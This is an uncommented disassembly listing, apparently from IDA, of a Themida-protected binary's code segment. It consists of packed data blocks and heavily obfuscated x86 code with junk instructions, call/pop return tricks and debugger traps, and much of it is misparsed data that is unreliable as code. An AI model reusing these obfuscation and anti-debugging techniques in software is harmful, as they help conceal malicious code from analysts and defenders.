dd 202447h, 6A6000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 858952C3h, 7A80571h, 8B11BD83h
dd 0F0007B0h, 16B84h, 10E900h, 58890000h, 542A8AA7h, 727E2C4h
dd 5DC38C61h, 0C7832B77h, 21953128h, 0C707A831h, 696A2E07h
dd 53006A64h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 0E250994Dh, 7DBACF7Bh, 35A6121h, 0A829E995h
dd 447C707h, 617461h, 66D0B70Fh, 858BD68Bh, 7B08B19h, 12E9h
dd 5E76FB00h, 93942EF4h, 9A002837h, 93BBCA7h, 89FE06AEh
dd 6A0C47h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0A04C69C3h, 30C3F1DCh, 858BD291h, 7B08B1Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 42C35141h
dd 8DA412ABh, 9D89BE14h, 7A817D1h, 68B0Fh, 0B58B0000h
dd 7A82275h, 0F084789h, 0C783D3B7h, 0E2816628h, 8B6622C7h
dd 2E07C7F3h, 0C76E6F63h, 69660447h, 9E90067h, 8A000000h
dd 3CAF2519h, 0CC67C2B0h, 8B15858Bh, 5E907B0h, 0A8000000h
dd 89C62D85h, 6A0C4789h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1B042444h, 45000000h, 6CB2C355h, 0E04DC077h
dd 858B08BFh, 7B08B11h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 8FC35141h, 89D3BD58h, 958B0847h, 7A809EDh
dd 0FE958h, 7B330000h, 3CD4881Eh, 7DDD9667h, 2A62AE2Dh
dd 158D8DFCh, 6A07A827h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 78F6C357h, 0A8E040D6h
dd 0BA66D165h, 505000F8h, 50525052h, 5A310F52h, 0BE310F58h
dd 52BAE039h, 310F585Ah, 5AD38B66h, 240C8958h, 2C31B5FFh
dd 6A07A8h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 382C5C3h, 26BB6660h, 0E951BF32h, 0E861109Fh
dd 4, 1000h, 15E0BE66h, 52505350h, 310FD78Bh, 5AF78B66h
dd 448B5A58h, 8B0424h, 49F152BEh, 2444894Bh, 6A5804h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
dd 4F137AC3h, 58A34511h, 0F7BAB571h, 0FF7C31C9h, 0A82681B5h
dd 98D8907h, 8B07A831h, 50D0FFF0h, 505B589h, 0B85A07A8h
dd 0
; ---------------------------------------------------------------------------
js loc_60A734
pusha
mov di, 0EDFFh
popa
loc_60A734: ; CODE XREF: Themida_:0060A728j
or eax, eax
jz loc_60A78D
pusha
sub edi, 71E68D10h
js loc_60A74C
movsx edx, cx
loc_60A74C: ; CODE XREF: Themida_:0060A743j
popa
push dword ptr [ebp+7A810F5h]
push 0
push edx
call sub_60A75E
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60A75E proc near ; CODE XREF: Themida_:0060A756p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_60A75E endp
; ---------------------------------------------------------------------------
or al, 8Dh
mov [edi], gs
int 3 ; Trap to Debugger
js short near ptr loc_60A780+4
mov edi, 0ED9589F3h
xor ebp, [eax-666A00F9h]
loc_60A780: ; CODE XREF: Themida_:0060A773j
sbb ch, [eax+65858907h]
db 26h
test al, 7
mov dx, 0E45Ah
loc_60A78D: ; CODE XREF: Themida_:0060A736j
mov eax, eax
mov [ebp+7A814FDh], esi
cmp dword ptr [ebp+7A827F9h], 0
jnz short loc_60A7A7
cmp dword ptr [ebp+7A80605h], 0
jz short loc_60A7C0
loc_60A7A7: ; CODE XREF: Themida_:0060A79Cj
push eax
push ebx
mov eax, eax
mov eax, 42Dh
mov [ebp+7A80ECDh], eax
lea ebx, [ebp+7AAB08Ah]
call ebx ; _iob
pop ebx
pop eax
loc_60A7C0: ; CODE XREF: Themida_:0060A7A5j
cmp dword ptr [ebp+7A80605h], 0
jz short loc_60A7E0
push eax
push ebx
mov eax, 42Dh
mov [ebp+7A80ECDh], eax
lea ebx, [ebp+7AAAD2Bh]
call ebx ; _iob
pop ebx
pop eax
loc_60A7E0: ; CODE XREF: Themida_:0060A7C7j
mov esi, [ebp+7A804D5h]
push ebx
push edx
mov dx, bx
pop edx
pop esi
mov eax, eax
mov dx, 0A4D6h
mov eax, eax
jmp loc_60A80D
; ---------------------------------------------------------------------------
dw 753Ch
dd 2189h, 3 dup(0)
db 0
; ---------------------------------------------------------------------------
loc_60A80D: ; CODE XREF: Themida_:0060A7F5j
jmp loc_60ADC8
; ---------------------------------------------------------------------------
dw 7D1Eh
dd 0B85C455Ah, 0F7A18A9Fh, 34E2CBE0h, 76250E23h, 8B3E4C61h
dd 475C7B1Ah, 879CBB5Eh, 0C9DEF99Eh, 4193EE0h, 93F8524h
dd 0FCBA8DDh, 89ABC775h, 0DAF38E2Bh, 454BA25Bh, 0AF60F2ACh
dd 2B2CF0C1h, 987B9360h, 647321C6h, 0E0ABCC99h, 92A7B063h
dd 0DC22E9A9h, 0D3593EA6h, 0B984A5ACh, 0CFE0FE20h, 0DBAF7AA8h
dd 193EE0C3h, 1403D14Eh, 8FFAF549h, 0CC895E00h, 0AC95AACBh
dd 776038EFh, 10F946ACh, 953334C1h, 553E5374h, 4FCC9780h
dd 6D3ADF88h, 11DEA9AEh, 375825F0h, 2E29EF6Ch, 5B30E663h
dd 58C2DF15h, 0BDDEE5D3h, 7BE65BF2h, 0B520CD9Ch, 51667126h
dd 8FD5B668h, 0D358C259h, 6C37585Fh, 58C2A9E2h, 0CFC88CD3h
dd 0C4D38704h, 0B01B34F9h, 277CF7D1h, 58C2ABE1h, 5BFAB1D3h
dd 83A4713Ch, 39E5506Bh, 1BA8AF71h, 62C8h, 0A174AD00h
dd 0ABB89EB6h, 9DB5A272h, 12FF18BAh, 13B34BF0h, 8FA72446h
dd 0B2F028B2h, 33CAD358h, 0BC561CC8h, 1AB1BA8h, 0A9000000h
dd 370215C7h, 10FD1ABAh, 25B35DEEh, 2AAE64E6h, 9798F257h
dd 0E3C0D8F9h, 0DCA7B066h, 93228D88h, 0BCC1D6C1h, 0FCC7D083h
dd 0C6FC422Fh, 0CCD35926h, 8CAADC5h, 0C70EFA0Fh, 9CE23714h
dd 0D3597066h, 5187656Ch, 57D35970h, 0E7642F50h, 0B3A47235h
dd 2FFA1BE8h, 57E6516Ah, 957E9384h, 8A07D2C5h, 5D7A19CEh
dd 0D9A4C592h, 64107B94h, 1BA7FF5Eh, 2F65AB00h, 35D35966h
dd 8FFA162Eh, 0F8000000h, 380314C7h, 2FFA1DBBh, 15C3FCDBh
dd 515D4802h, 27E4C625h, 0FA89F40Fh, 22273C5Bh, 894FC100h
dd 3E56ABF5h, 0D49FB85Bh, 3231193Bh, 0BDCC5CF9h, 314C2A5h
dd 0BDF6F338h, 6633FE19h, 1DC8334Eh, 0A2235E4h, 0A7EA300Ah
dd 71891Bh, 0C7870000h, 0BB380314h, 8D8A491Eh, 0E7D4F5C2h
dd 70164C92h, 0E410D359h, 69E8AC67h, 0C3949B49h, 12EF0710h
dd 0BE4DB8C9h, 6A5D5F1Fh, 0F976ACF2h, 757CD358h, 0BDDF5CBBh
dd 0A776AF9Ch, 18E5B0h, 15C7EDD9h, 4FF31502h, 477E17C0h
dd 60EAC7DFh, 0D358D627h, 53FF6A01h, 1BA89B1Fh, 0EECADDFFh
dd 0AF021A92h, 58913369h, 113239D3h, 1DDF9h, 0C7DB0000h
dd 0E0190611h, 25021A3Dh, 16E1F6A8h, 11DCFB99h, 0AD5C294h
dd 9877E28Fh, 22B11CC9h, 0A24C6176h, 2E7461B5h, 0DB01844Dh
dd 4814C53h, 47304552h, 2BB58097h, 0DB0183F3h, 481304D6h
dd 440F08CBh, 0EECD38ADh, 46D54051h, 856E8394h, 7AF7C2D5h
dd 4B4C0FD8h, 71831A80h, 0A7FA464Bh, 0D59A6586h, 8FAB6D8h
dd 0C8E067C2h, 0B444EC0Eh, 0F8108BAFh, 33E372DDh, 41090F24h
dd 98E3FF57h, 155h, 0C5110696h, 9D9D92D8h, 9CA3DB01h, 958254D1h
dd 0D0C79780h, 0C1D68805h, 0DFF89BD4h, 522F4714h, 5E09748Dh
dd 9D8DC309h, 0DC93DB01h, 0E2FA1B3Ch, 23385FFFh, 2136E51Eh
dd 0D2410909h, 93B5E3FFh, 0CC96CFCEh, 0F9152D69h, 6Bh
dd 281506F7h, 1D89327h, 0C47E4B16h, 67E81120h, 17C42FAFh
dd 0D1170425h, 0D358A69Bh, 8C799AA1h, 0A6BBF137h, 0BAC1D358h
dd 75DA3A2h, 0D5358A6h, 7BB13B06h, 5E5358A6h, 51CE99BEh
dd 2730E582h, 0A36E8F5Ch, 7B5AC5DEh, 60B01B90h, 0C2E1BF3h
dd 6D8264BAh, 0B7B6CE2Ah, 6E692962h, 0B9106656h, 0F16D358h
dd 9FB6FAh, 6F80000h, 92D8C511h, 0DB018C3Dh, 0FA4F3C43h
dd 18C7EB4h, 657D84DBh, 0E4B6EF88h, 26F8DBF3h, 63331C31h
dd 0E20314C4h, 8D528D17h, 7469DB01h, 14C89F3Bh, 4A6B3803h
dd 7F9AB27Fh, 0C2D58514h, 291203ADh, 6214F84Ch, 0B5A2C3E3h
dd 0B205C66Fh, 0FAC5CCE2h, 0EFBADD7Dh, 0E8B3A472h, 0E1ACAB6Bh
dd 66779E7Bh, 1F3874D7h, 0EDBC9B06h, 0D52AD540h, 0B203598Fh
dd 0F3A85FE2h, 7ABC3E4h, 93D9C60Eh, 0EA6296EAh, 36E41DF0h
dd 0AB895621h, 0EA629775h, 0C8938458h, 8C464DFBh, 26FADA7h
dd 2D4263D8h, 0C5110641h, 0E16183D8h, 4B52A9B0h, 2AB9BB3h
dd 0C9DB096Eh, 0FEC9CE90h, 6DE91F65h, 0E8EFDB09h, 0E8EFAFC7h
dd 29FEA01Dh, 23599F6Ch, 29DB096Eh, 0CBE00122h, 0F52B71C6h
dd 0FBDB096Dh, 59F9DCF4h, 4418513Eh, 480B8853h, 96B7844Fh
dd 0CF08A17Eh, 0EE83720Ch, 721A64Bh, 364E1BE6h, 429CB446h
dd 0D4C39701h, 0CEC98C09h, 3EA9BA03h, 83D8B75Fh, 429C073Dh
dd 0F43A0D01h, 1429CBEh, 849CBDC4h, 0AF6FFE69h, 0E8AA93A8h
dd 368B24EFh, 429CBAF0h, 0D8FF9D01h, 280B232Ah, 2BE0B572h
dd 429CAFE5h, 8DAEB501h, 9C245AA0h, 232A0142h, 0FBC3702h
dd 0A24515A4h, 0ACC1E2F5h, 390413C3h, 361h, 3EDCA300h
dd 360116C7h, 33FE19B9h, 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h
dd 0DD8FF9Eh, 2CDCA90h, 0F9C4D385h, 0F4BFD87Ch, 0E289523Ch
dd 4BD55h, 0EA010000h, 4EA835Dh, 5C241487h, 81E38953h
dd 4C3h, 4EB8100h, 87000000h, 895C241Ch
; ---------------------------------------------------------------------------
cmp al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push esi
push ebx
mov ebx, 7C80336Eh
mov esi, 7B30A0C7h
xor esi, ebx
pop ebx
mov edi, esi
pop esi
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, 8
sub edx, 735270ECh
add edx, ebp
add edx, 735270ECh
mov [edx], edi
pop edx
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_58941B
; ---------------------------------------------------------------------------
dw 6Eh
; ---------------------------------------------------------------------------
loc_60ADC8: ; CODE XREF: Themida_:loc_60A80Dj
mov eax, 7B098C0h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
xor ds:1C855A2h, dl
inc ebx
adc eax, [ecx-30h]
and al, 6
fild dword ptr [edi+73992AF6h]
sbb eax, 0F282E669h
pusha
enter 0FFFF8EE3h, 5
cmpsd
db 36h
pop ecx
and al, 0FAh
xor al, 51h
imul edi, [edi], 946BE7D8h
add al, [esi+1Eh]
lea ecx, [ebp+7B09A3Fh]
push 0
push esi
call sub_60AE0E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60AE0E proc near ; CODE XREF: Themida_:0060AE06p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_60AE0E endp
; ---------------------------------------------------------------------------
sbb al, 9Bh
or byte ptr [ebx-57D2F263h], 7
mov [ebp+7A81731h], ecx
or eax, [ebp+7A81B89h]
mov dword ptr [ebp+7A80A59h], 5C98h
push 0
push ecx
call sub_60AE48
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_60AE48 proc near ; CODE XREF: Themida_:0060AE40p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_60AE48 endp
; ---------------------------------------------------------------------------
dd 21B27C78h, 0D9ED04E8h, 0C1B70F89h, 93985C7h, 7A8h, 0FFFC0000h
dd 0A805DDB5h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1704h, 0C3534300h, 5BEF0B0Fh, 9995FFFCh
dd 8907A81Ah, 0A80DD98Dh, 0FF006A07h, 0A80D2195h, 0EBC08B07h
dd 0C52D0A69h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h
dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh
dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h
dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h
dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 0AB4B84D4h, 799797C5h
dd 0C0E7AF96h, 0BE8A65Dh, 0CF000000h, 68964828h, 67495B50h
dd 8A0F1A1Dh, 6, 1D05858Bh, 665F07A8h, 81F9B0B8h, 65DCC7h
dd 9E900h, 0FCF50000h, 6DF6DA48h, 0BE73E612h, 1941h, 1451958Bh
dd 37FF07A8h, 59D3B70Fh, 0F181F58Ah, 684FE134h, 10E8h
dd 0C8D35F00h, 0CF1CD0EAh, 1397E1DEh, 46CF91Ah, 85895071h
dd 7A80C5Dh, 0F1815A58h, 0FBA1F4Ah, 2F359D8Bh, 0E98107A8h
dd 47BED502h, 11E8h, 0B1F03000h, 0C524DB26h, 26EC294Ah
dd 430B93E8h, 2953EF9Dh, 0A814B595h, 895B5B07h, 0BEF810Fh
dd 89669147h, 0A81D798Dh, 7C78107h, 8B669147h, 0A80A159Dh
dd 1EE8307h, 0E850Fh, 0DC800000h, 19E950h, 0D85B0000h
dd 4AC2E5E8h, 66D958Bh, 67E907A8h, 0E8FFFFFFh, 2D4B3686h
dd 8D54117Ch, 0B09C638Dh, 52006A07h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 87C0711Dh
dd 85D381AEh, 893B4FE8h, 0A817318Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 60608183h
dd 860Fh, 0EE800000h, 61F961F5h, 0FE8h, 0F5C94600h, 0EE16B46Fh
dd 52D6FAACh, 9EB0C849h, 15B58956h, 5807A811h, 0C08BB58h
dd 85C76A37h, 7A80A59h, 5B24h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 16h, 90C35646h, 85C712A5h, 7A80939h
dd 0
; ---------------------------------------------------------------------------
movsx esi, di
push dword ptr [ebp+7A82641h]
mov esi, ebx
call dword ptr [ebp+7A81A99h]
pusha
pusha
mov cx, 21B4h
stc
popa
movsx edx, dx
popa
push 0
call dword ptr [ebp+7A80D21h]
mov eax, eax
jmp short loc_60B0EA
; ---------------------------------------------------------------------------
db 5, 98h, 0CAh
dd 9E2703DCh, 0B03D4152h, 0C5BD027Dh, 932F3949h, 27D585E0h
; ---------------------------------------------------------------------------
mov al, 7
loc_60B0EA: ; CODE XREF: Themida_:0060B0CFj
jmp short $+2
jmp loc_60B46D
; ---------------------------------------------------------------------------
db 3Fh, 9Eh, 79h
dd 0BED97B64h, 0FF18C0A9h, 425501EAh, 8691442Dh, 3F666371h
dd 7D667B9Ch, 0BFA8BDDAh, 0FFE8FD1Ah, 4323385Fh, 0D4285EA4h
dd 942ECBA8h, 215C7E6h, 435404EDh, 8691452Eh, 0C2D58871h
dd 611C4ADh, 965108F1h, 3C09D4C3h, 0DFAAAD6Bh, 0AF04F112h
dd 59703369h, 1A3239D3h, 4A4D0AF3h, 0DD8A4C35h, 0E6FB1C3Bh
dd 935B6F0h, 0E278D8DBh, 183A2730h, 0CF4F3C87h, 3B183008h
dd 884F18BEh, 0F91EBE8Fh, 0E6C90DD8h, 68122730h, 0F43A27EFh
dd 0E2B097F7h, 0D009F6FDh, 713E090Eh, 0C1E37C59h, 4434D7Bh
dd 5D4D65D4h, 0E2B16223h, 0EBA253Eh, 0EB000F44h, 9F9Dh
dd 14C79B00h, 25C43803h, 5970B5DFh, 0E9B4BBD3h, 98ADAA6Ch
dd 1DE8EFAFh, 0B19E76DFh, 196B26Bh, 0E6B1B8DBh, 0A853BE6Bh
dd 5EC19686h, 98B0E74Fh, 0DDF2E5B5h, 5F22233h, 0A98F3ABFh
dd 6E3940E2h, 203522F1h, 11C36437h, 4D6E3B06h, 66712760h
dd 0D9B6CE9Bh, 6956BE9Bh, 0A98F1D23h, 71C23E2h, 2F1CF85Dh
dd 51B110E9h, 0F99ED7EAh, 2E4613DEh, 1F9C676Eh, 5D465B7Ch
dd 90CE99BEh, 185E4B83h, 0EA51B216h, 0E6F1A4DDh, 87524515h
dd 0DBE2A2BAh, 0D588C1C6h, 3522F1C2h, 0A2859D6Ah, 0E3CFE4F3h
dd 0D8C51106h, 7005A8B6h, 0BCD49273h, 4ABE77BDh, 0BDC4DB01h
dd 0B2A575F2h, 0AB76989Dh, 15E87302h, 5F4A3149h, 0B2DB3320h
dd 0A4AAE4h, 603871DBh, 692FAC77h, 0B5D6A36Eh, 0A44C82C8h
dd 4B52DB00h, 898E5033h, 0B3567A9Ch, 9C7A81Eh, 0AC776038h
dd 9BA0C7DFh, 88A0B762h, 0B349F5A5h, 6FE67B00h, 0DE5B2647h
dd 8B501B3Ch, 0A6780772h, 4CA2C4B1h, 0C4A11414h, 959A3469h
dd 0BC3E5BDBh, 33777DA4h, 23E3F0A2h, 132B2CEAh, 2DF7h
dd 1106F500h, 0D992D8C5h, 0DFDB0196h, 0CE900DD8h, 935E7919h
dd 8B90A5C6h, 0A45CDC69h, 599FC50Ah, 0DB025323h, 0E9012229h
dd 1CABh, 13C7ED00h, 1ABC3904h, 75BB10FDh, 0D359703Fh
dd 0F62C7245h, 0FCD3596Fh, 95BCD4F5h, 413C7A9h, 435406EFh
dd 4187DC7Bh, 0D359700Bh, 0C2F83E11h, 0C8D35970h, 8988A0C1h
dd 0D1B1234h, 0B82357E3h, 0B27EB0A0h, 7D84D358h, 726535B2h
dd 799B2CA7h, 0F81D3555h, 266C59FFh, 0D3588DF0h, 0BCD7EFF6h
dd 0E62CCB51h, 0D3588EB4h, 8394427Bh, 0B7A4AB6Bh, 8EE61C62h
dd 0CC9D358h, 3E565D0Bh, 8FC3F93Fh, 518AD358h, 0B8789087h
dd 0E3B39CB1h, 85DADFF4h, 588F093Fh, 548AD0D3h, 5AD3588Fh
dd 869EA553h, 2016006Bh, 58000000h, 350017C7h, 0A3B4639Ch
dd 10F30BD8h, 235C494Eh, 60F2C975h, 2EABCDBAh, 5D75420Dh
dd 0C7C46236h, 0B9360116h, 0B633FE19h, 0AE2BF6E1h, 0A421ECEBh
dd 9E1BE6F1h, 900DD8FFh, 8502CDCAh, 7CF9C4D3h, 3CF4BFD8h
dd 56E08950h, 4BEh, 5EF00100h, 8704E883h, 685C2404h, 529Dh
dd 83243C89h, 348904ECh, 72BB5324h, 8105B749h, 4D54BC3h
dd 0FC38150h, 8118C57Bh, 2F02BCC3h, 5BDF8999h, 24348B54h
dd 4C481h, 0EC830000h, 243C8904h, 72243481h, 8F3D2669h
dd 76810846h, 26697208h, 2434FF3Dh, 4C4835Eh, 5F2434FFh
dd 4C481h, 0BCE90000h, 0A1FFF7DFh, 26A9252Bh, 0D40C8E43h
dd 0DE54D4A0h
; ---------------------------------------------------------------------------
cwde
loc_60B46D: ; CODE XREF: Themida_:0060B0ECj
mov eax, 7B09F83h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 0E75Ah
; ---------------------------------------------------------------------------
jle short loc_60B498
adc edx, ds:3EBD2F3Fh[ebp]
add al, 0CDh
stosd
inc ecx
add edx, [esi-64CDB3EAh]
mov al, ds:86AC3052h
lds ebp, [edi+11h]
lodsb
jnb short loc_60B4D3
and al, 0E8h
loc_60B498: ; CODE XREF: Themida_:0060B478j
dec esi
push 1116EECBh
fsub dword ptr [edx-5Eh]
push esp
mov edx, ecx
movsx edx, si
mov ax, 0BB18h
and edx, 64C9F068h
jbe $+6
sub di, 60BBh
jmp loc_60B4D3
; ---------------------------------------------------------------------------
fbstp tbyte ptr [ebx-2E8617A4h]
adc byte ptr [edi-44B6C846h], 0F5h
test eax, 1F7DC7D6h
loc_60B4D3: ; CODE XREF: Themida_:0060B494j
; Themida_:0060B4BCj
jmp loc_60B4E5
; ---------------------------------------------------------------------------
dd 7D7EBD85h, 0A67EC4F0h, 0CAB14C88h
db 2Bh
; ---------------------------------------------------------------------------
loc_60B4E5: ; CODE XREF: Themida_:loc_60B4D3j
clc
movzx edx, dx
mov si, ax
call sub_60B4FE
setalc
mov al, ds:30D11746h
fisttp word ptr [ecx+79B617F5h]
; =============== S U B R O U T I N E =======================================
sub_60B4FE proc near ; CODE XREF: Themida_:0060B4ECp
pop ebx
push eax
call sub_60B517
icebp
retn 3EDEh
sub_60B4FE endp
; ---------------------------------------------------------------------------
db 0A0h, 1Eh, 0C7h
db 0F5h, 1Dh, 0D0h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_60B517
loc_60B50F: ; CODE XREF: sub_60B517+51j
imul eax, [edx-28h], 525D54E9h
; END OF FUNCTION CHUNK FOR sub_60B517
; ---------------------------------------------------------------------------
db 0DEh
; =============== S U B R O U T I N E =======================================
sub_60B517 proc near ; CODE XREF: sub_60B4FE+2p
; FUNCTION CHUNK AT 0060B50F SIZE 00000007 BYTES
mov dl, cl
pop eax
pop edx
pusha
push ebx
mov ax, 18A3h
pop edi
and esi, 5E61616Ch
popa
jmp loc_60B542
; ---------------------------------------------------------------------------
dw 0F855h
dd 0A8E169E1h, 267497ECh, 670C0F60h, 977E97A6h
db 86h, 8Bh
; ---------------------------------------------------------------------------
loc_60B542: ; CODE XREF: sub_60B517+12j
mov esi, 7CD0161Fh
mov ax, dx
adc dx, 8088h
mov esi, ebx
mov edx, eax
sbb esi, 395CEC0Dh
call sub_60B571
sbb [bp+si-2DDBh], cl
and al, 12h
xlat
mov bl, 0D4h
jns short loc_60B50F
icebp
sub ch, [ecx+24h]
and edi, ebx
pop esp
sub_60B517 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60B571 proc near ; CODE XREF: sub_60B517+42p
and dh, 0A8h
pop ebx
sub dh, 35h
mov eax, ebx
or si, 206Eh
jmp loc_60B58A
; ---------------------------------------------------------------------------
clc
cmp eax, 0EBAFEA61h
loc_60B58A: ; CODE XREF: sub_60B571+Ej
mov bx, cx
mov esi, 627FAE21h
mov esi, ecx
jnz loc_60B5B8
pusha
mov dx, 0A50Bh
jmp loc_60B5B7
; ---------------------------------------------------------------------------
db 0CCh
db 0F9h, 1Eh, 3Eh
dd 0C6FE86E0h, 0DCD3B304h, 5E258EBAh
db 29h, 0B8h, 6Ah
; ---------------------------------------------------------------------------
loc_60B5B7: ; CODE XREF: sub_60B571+2Ej
popa
loc_60B5B8: ; CODE XREF: sub_60B571+23j
mov edi, 7DC3CB45h
jmp loc_60B5CF
; ---------------------------------------------------------------------------
mov byte ptr [esi], 0D8h
cmc
test al, 0A0h
pop eax
add al, 0DDh
xchg eax, ebx
scasb
test al, 73h
loc_60B5CF: ; CODE XREF: sub_60B571+4Cj
jmp loc_60B5DD
; ---------------------------------------------------------------------------
dd 6347FA1Fh, 89F8AD45h
; ---------------------------------------------------------------------------
das
loc_60B5DD: ; CODE XREF: sub_60B571:loc_60B5CFj
jns loc_60B5EB
pusha
mov bh, 60h
mov bx, 0AF3Bh
popa
loc_60B5EB: ; CODE XREF: sub_60B571:loc_60B5DDj
mov cl, 29h
and esi, 2E1E9D34h
pusha
jp $+6
popa
pusha
adc ebx, 52375F2Fh
clc
popa
cld
jmp loc_60B612
; ---------------------------------------------------------------------------
dw 87E3h
dd 48A94F9Bh
; ---------------------------------------------------------------------------
inc ecx
pop ebx
loc_60B612: ; CODE XREF: sub_60B571+94j
jmp loc_60B62A
; ---------------------------------------------------------------------------
db 5Fh
dd 2BAB618Ch, 0A40052D7h, 47D786BBh, 6FD9A36h
; ---------------------------------------------------------------------------
add edx, ecx
loc_60B62A: ; CODE XREF: sub_60B571:loc_60B612j
pusha
push ecx
mov bh, cl
pop ecx
clc
popa
movsx edx, di
jns loc_60B655
push esi
jmp loc_60B654
; ---------------------------------------------------------------------------
dd 7613135Eh, 0CEDA30A6h, 8C8D0C9Dh, 5C78CC2Fh, 0E99E4CFFh
; ---------------------------------------------------------------------------
loc_60B654: ; CODE XREF: sub_60B571+CAj
pop eax
loc_60B655: ; CODE XREF: sub_60B571+C3j
movsx edx, dx
movsx ecx, dx
push ecx
movzx eax, bx
pop eax
pusha
add al, 3Dh
mov dx, 23ABh
popa
mov ecx, 5B5DF5EAh
jmp loc_60B678
; ---------------------------------------------------------------------------
pop es
and [edi], bh
cmp dl, cl
loc_60B678: ; CODE XREF: sub_60B571+FDj
push edi
pusha
ja $+6
movzx esi, dx
popa
pop ecx
and esi, 405FD39Dh
add cl, 20h
jp loc_60B696
mov dh, 2Ah
loc_60B696: ; CODE XREF: sub_60B571+11Dj
mov di, si
mov cx, 4445h
mov di, cx
pusha
jmp loc_60B6B8
; ---------------------------------------------------------------------------
dw 5587h
dd 78194710h, 0BB3D3AE3h, 4284AD59h, 946ECCA5h
; ---------------------------------------------------------------------------
loc_60B6B8: ; CODE XREF: sub_60B571+130j
movzx esi, ax
popa
movsx eax, ax
movzx edx, di
mov ebx, edi
or ax, 0A977h
mov di, bx
jmp loc_60B6DD
; ---------------------------------------------------------------------------
db 65h, 16h, 0FDh
dd 0C863DCAAh, 0ABF85F9Ah
db 0B0h
; ---------------------------------------------------------------------------
loc_60B6DD: ; CODE XREF: sub_60B571+15Bj
push esi
clc
pop edi
jz loc_60B6EC
and edi, 0A3D9F9Bh
loc_60B6EC: ; CODE XREF: sub_60B571+16Fj
pusha
cmc
call near ptr sub_60B6FA
leave
fldcw word ptr ds:839FFCD2h
sub_60B571 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60B6FA proc far ; CODE XREF: sub_60B571+17Dp
mov dx, bx
pop edx
popa
mov cl, 71h
mov ah, ch
mov ecx, 2F4368ABh
stc
jmp loc_60B713
; ---------------------------------------------------------------------------
dw 0A38Eh
db 0DBh, 83h, 5
; ---------------------------------------------------------------------------
loc_60B713: ; CODE XREF: sub_60B6FA+Fj
jno loc_60B71C
movsx eax, di
loc_60B71C: ; CODE XREF: sub_60B6FA:loc_60B713j
push ebx
mov al, dl
pop edi
movzx edi, si
jmp loc_60B732
; ---------------------------------------------------------------------------
dd 9007B027h, 82846DE8h
db 8Ch, 5Ah
; ---------------------------------------------------------------------------
loc_60B732: ; CODE XREF: sub_60B6FA+29j
push ebx
movzx edx, si
pop ecx
jmp loc_60B74E
; ---------------------------------------------------------------------------
dd 68453465h, 0E22F82F9h, 0BCD393F0h, 40CF3EA7h
db 0E3h, 0C2h
; ---------------------------------------------------------------------------
loc_60B74E: ; CODE XREF: sub_60B6FA+3Dj
movzx eax, cx
add edx, 98F1C95h
jnz loc_60B75F
mov bh, 61h
loc_60B75F: ; CODE XREF: sub_60B6FA+5Dj
cld
or cx, 0BEE2h
movzx eax, di
sub edx, 6C690C31h
mov esi, 33FD56E9h
pusha
movsx eax, bx
mov ax, cx
popa
mov bh, 0F0h
sub esi, 4E1F16EAh
call sub_60B797
aas
adc al, 60h
insd
int 3 ; Trap to Debugger
db 36h
inc ecx
mov ecx, 391C3A0h
retf 0E555h
sub_60B6FA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_60B797 proc near ; CODE XREF: sub_60B6FA+89p
mov eax, edx
pop eax
mov cx, si
movzx esi, bx
mov si, dx
movsx edx, ax
push eax
pop edi
mov eax, 71C5B192h
movsx esi, di
pusha
mov di, bx
pusha
mov edx, ebx
popa
popa
jns loc_60B7C4
mov edi, 2BC06347h
loc_60B7C4: ; CODE XREF: sub_60B797+22j
or si, 3193h
jmp loc_60B7D9
; ---------------------------------------------------------------------------
dw 0C1F6h
dd 563C150Ah, 0BE70992Dh
db 11h
; ---------------------------------------------------------------------------
loc_60B7D9: ; CODE XREF: sub_60B797+32j
mov ch, bl
push ecx
and dx, 0BE63h
pop edi
push edi
mov ebx, esi
pop ecx
and ecx, 145F06ABh
